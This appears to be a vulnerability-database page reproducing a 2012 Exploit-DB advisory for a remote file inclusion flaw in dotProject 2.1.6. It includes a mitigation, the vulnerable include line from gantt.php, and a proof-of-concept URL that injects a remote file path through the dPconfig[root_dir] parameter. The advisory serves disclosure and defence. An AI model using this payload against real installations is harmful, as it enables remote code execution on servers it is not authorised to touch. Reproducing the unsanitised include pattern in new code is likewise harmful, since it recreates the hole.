header-logo
Suggest Exploit
vendor:
dotProject
by:
dun
7,5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: dotProject
Affected Version From: 2.1.6
Affected Version To: 2.1.6
Patch Exists: YES
Related CWE: N/A
CPE: a:dotproject:dotproject
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: PHP
2012

dotProject <= 2.1.6 Remote File Inclusion Vulnerability

dotProject is a PHP web-based project management framework that includes modules for companies, projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk, multi-language support, user/module permissions and themes. A Remote File Inclusion vulnerability exists in dotProject version 2.1.6, which allows an attacker to include a remote file via the dPconfig[root_dir] parameter in the gantt.php file. This vulnerability can be exploited if allow_url_include and register_globals are enabled.

Mitigation:

Disable allow_url_include and register_globals, and upgrade to the latest version of dotProject.
Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-13                              ]
 #################################################################
 #  [ dotProject <= 2.1.6 ] Remote File Inclusion Vulnerability  #
 #################################################################
 #
 # Script: "PHP web-based project management framework that includes modules for companies,
 #          projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk,
 #          multi-language support, user/module permissions and themes"
 #
 # Vendor:   http://www.dotproject.net/
 # Download: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.6/
 #
 #################################################################
 #
 # [ Remote File Inclusion ] ( allow_url_include = On; register_globals = On; )
 #
 # File: dotproject/modules/projectdesigner/gantt.php ( line: 8 ):
 # ..cut..
 # include ($dPconfig['root_dir'].'/lib/jpgraph/src/jpgraph.php');
 # ..cut..
 #
 # Vuln: http://localhost/dotproject/modules/projectdesigner/gantt.php?dPconfig[root_dir]=http://localhost/info.txt?
 #
 ### [ dun / 2012 ] #############################################